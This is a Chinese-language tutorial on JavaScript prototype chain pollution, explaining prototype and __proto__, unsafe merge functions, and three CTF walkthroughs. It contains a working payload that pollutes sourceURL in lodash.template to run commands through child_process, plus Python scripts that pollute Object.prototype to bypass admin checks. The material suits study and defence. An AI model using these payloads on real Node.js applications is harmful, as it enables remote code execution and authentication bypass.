原型链污染攻击

想要很清楚了理解原型链污染 我们首先必须要弄清楚原型链这个概念

可以看这篇文章:对象的继承和原型链

目录

prototype和__proto__分别是什么?

原型链继承

原型链污染是什么

哪些情况下原型链会被污染?

[例题1:Code-Breaking 2018 Thejs 分析](#例题1:Code-Breaking 2018 Thejs 分析)

例题2:hackit-2018

例题3:hackim-2019


prototype和__proto__分别是什么?

JavaScript中,我们如果要定义一个类,需要以定义"构造函数"的方式来定义:

javascript 复制代码
function Foo() { //构造函数
    this.bar = 1 //构造函数的一个属性
}
new Foo()

构造函数一般函数名的首字母必须大写,Foo函数就是一个构造函数,Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。

一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

javascript 复制代码
function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}
​
(new Foo()).show()

这里定义的show就是一个方法

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,问题的愿意就是因为:这个show方法实际上是绑定在对象上的,而不是绑定在"类"中。

我们希望在创建类的时候只创建一次show方法,这时候就则需要使用**原型(prototype)**了:

javascript 复制代码
function Foo() {
    this.bar = 1
}
​
Foo.prototype.show = function show() {
    console.log(this.bar)
}
​
let foo = new Foo()
foo.show()

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。

我们可以通过Foo.prototype来访问Foo类的原型,这里就又出现了一个问题:Foo实例化出来的对象不能通过prototype访问原型的。

这时候,就该**__proto__**登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

javascript 复制代码
foo.__proto__ == Foo.prototype

所以,总结一下:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

javascript 复制代码
function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father() //Son继承了 Father()

let son = new Son() //son继承lSon的方法和属性
console.log(`Name: ${son.first_name} ${son.last_name}`) //这里找到了Father中的这两个属性

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name

  2. 如果找不到,则在son.__proto__中寻找last_name

  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name

  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)

  2. 对象的__proto__属性,指向类的原型对象prototype

  3. JavaScript使用prototype链实现继承机制

原型链污染是什么

前面说到,foo.__proto__指向的是Foo类的prototype

那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

javascript 复制代码
let foo = { bar: 1 }
console.log(foo.bar);
//这里打印 1很正常
foo.__proto__.bar = 2
// foo.__proto__ === Object.prototype
//这里给Object.prototype创建了一个bar赋值为2
console.log(foo.bar);
//这里打印的foo.bar还是foo的bar
let zoo = {}
console.log(zoo.bar);
//这里因为zoo没有定义bar,
// 所以就会到Object.prototype去找bar,就会找到2

最后,虽然zoo是一个 对象{},但zoo.bar的结果居然是2:​

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。

这种攻击方式就是原型链污染

哪些情况下原型链会被污染?

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?

其实找找能够控制数组(对象)的"键名"的操作即可:

  • 对象merge(克隆

  • 对象clone(其实内核就是将待操作的对象 merge到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

javascript 复制代码
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

javascript 复制代码
function merge(target, source) { //接收两个参数
    for (let key in source) { //判断source是否有相应的key
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
            //把第二个参数中的key赋值给了第一个参数中的key
        }
    }
}
var x = {
    // name: 'oupeng',
    age: 18
}
var y = {
    // name: 'abc',
    age: 19,
    num: 100
}
merge(x, y);
console.log(x);
console.log(y);

let o1 = {}//o1是空的
let o2 = { a: 1, "__proto__": { b: 2 } }
//o2对象对象里面有两个参数 
merge(o1, o2) //将o2里面的属性,给o1
console.log(o1.a, o1.b)
//这里打印出来应该是1,2
o3 = {}
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:​

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

javascript 复制代码
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') 
//将json解析为js对象
merge(o1, o2)
console.log(o1.a, o1.b)
​
o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:​

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的"键名",而不代表"原型",所以在遍历o2的时候会存在这个键。

总结:merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

例题1:Code-Breaking 2018 Thejs 分析

后端主要代码如下(完整代码可参考这里

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎

  2. lodash.merge 函数或对象的合并

其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

而这里的lodash.merge操作实际上就存在原型链污染漏洞。

在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。

我们看到lodash.template的代码:

javascript 复制代码
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  //这里的Function是构造函数 
  .apply(undefined, importsValues);
});

options是一个对象,sourceURL取到了其options.sourceURL属性。

这个sourceURL属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。

最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

我将带有__proto__的Payload以json的形式发送给后端,

因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:
具体过程:

代码:这里

(1)我们首先在server.js目录下新建一个re.js文件,将上面的代码粘贴进去

(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件

注:如果报错,说没有某个模块,那么可以使用

bash 复制代码
npm install 
npm install 模块名

这两条命令任意一条来安装需要的模块

(3)然后我们可以尝试在网页访问:你的ip地址:3000

(4)然后我们使用Burpsuite抓包访问该页面

Payload:

javascript 复制代码
{"__proto__":{"sourceURL":\u000areturn ()=>{for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load('child_process').execSync('id')}\u00a//"}}

注:这里的 delete Object.prototype[a];是为了在进行了原型链污染后,删除掉该变量,防止其他人访问

例题2:hackit-2018

这里我使用的环境是window

(1)代码

javascript 复制代码
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
​
var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
​
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}
​
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
​
app.get('/', (req, res) => {
​
    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];
​
    }
    res.render('index');
})
​
​
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
​
​
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
​
    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    //这里可以这样传入值: matrix[__proto__][__admintoken] = oupeng
    //注:传值时一定要用json的格式去传值
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }
​
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 
​
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }
​
    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }
​
})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

分析代码后,我们可以看到,这里的if方法为true时,我们才可以正常的拿到falg,那么想要这if条件成立,需要满足这个条件:user.admintoken的md5值与req.query.querytoken值必须保持一致

javascript 复制代码
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    

然后我们再看代码后发现全文没有对user.admintoken进行赋值,所以理论上这个值是不存在的,但是下面有一句话赋值语句:

javascript 复制代码
matric[client.row][client.col] =client.data

由于client使我们可控的,然后data,row,col,都是我们post传入的值,都是可控的,所以可以通过在这里传入一个值,让没有值的user.admintoken,去原型链上寻找,就会找到我们给matric传入的值,从而实现原型链污染

具体过程 :

(1)我们首先在Node.js目录下新建一个re.js文件,将上面的代码粘贴进去

(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件

注:如果报错,说没有某个模块,那么可以使用

bash 复制代码
npm install 
npm install 模块名

这两条命令任意一条来安装需要的模块

(3)编写Python代码来实现POST请求

python 复制代码
import requests
import json
url = "http://你的ip地址:3000/api"
url1 ="http://你的ip地址:3000/admin?querytoken=824b7c531591af853d310b1b028107fe"#这里是yps的参数md5值
headers = {"Content-type":"application/json"}
data = {"row":"__proto__","col":"admintoken","data":"yps"}
res1=requests.post(url,headers=headers,data=json.dumps(data))#污染原型链
#这里的json.dump()是将数据转换为js能够解析的形式
res2=requests.get(url1)
print(res2.text)

(4)运行Python文件

可以看到成功的通过原型链污染,拿到了flag!

例题3:hackim-2019

代码:

javascript 复制代码
'use strict';
​
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
​
​
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
​
function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
​
function clone(a) {
    return merge({}, a);
}
​
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
​
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
​
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

首先就是先看拿到值的条件:

javascript 复制代码
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }

这里需要admin.admin == 1才能正常拿到

通过分析以上代码,我们可以发现,上面的admin对象是一个空对象,没有值。

javascript 复制代码
function clone(a) {
    return merge({}, a);
}

这里我们可以使用merge给{}中提交一个key=proto,value=admin:1来进行原型链污染,就可以让admin通过原型链找到admin的值==1,来满足if条件,拿到if后面的值,那边我们就可以通过a,本题中传给的a是body来进行污染

具体过程

(1)首先和前面一样新建一个名为re3.js文件

文件内容就是前面的代码

(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件

注:如果在安装包时有一个 "cookie-parser"包一个报错,那么可以在node.js中的package.json中增加这样一行:

javascript 复制代码
    "cookie-parser": "^1.4.6"

(3)编写pythonPOST提交代码

javascript 复制代码
import requests
import json
url1 = "http://你的ip地址:8080/signup"
url2 = "http://你的ip地址:8080/getflag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

这里的res1会让代码中的body={"proto":{admin:1}}

然后代码中的copybody = clone(body),会将body中的内容克隆到 merge函数的空对象中,然后通过merge函数就会污染原型链,后面的res2就可以通过原型链拿到flag

(4)运行python代码

通过结果可以看到,成功的拿到了flag!

相关推荐
xiaocaibao7772 分钟前
Java语言的网络编程
开发语言·后端·golang
纯净的灰〃9 分钟前
vulnhub-matrix-breakout-2-morpheus
安全·web安全·网络安全
地球空间-技术小鱼17 分钟前
YUM(Yellowdog Updater, Modified)和DNF(Dandified YUM)简介
linux·运维·服务器·笔记·学习
木向20 分钟前
leetcode22:括号问题
开发语言·c++·leetcode
comli_cn22 分钟前
使用清华源安装python包
开发语言·python
梦境之冢25 分钟前
axios 常见的content-type、responseType有哪些?
前端·javascript·http
筑基.28 分钟前
basic_ios及其衍生库(附 GCC libstdc++源代码)
开发语言·c++
racerun28 分钟前
vue VueResource & axios
前端·javascript·vue.js
小码的头发丝、42 分钟前
Java进阶学习笔记|面向对象
java·笔记·学习
雨颜纸伞(hzs)43 分钟前
C语言介绍
c语言·开发语言·软件工程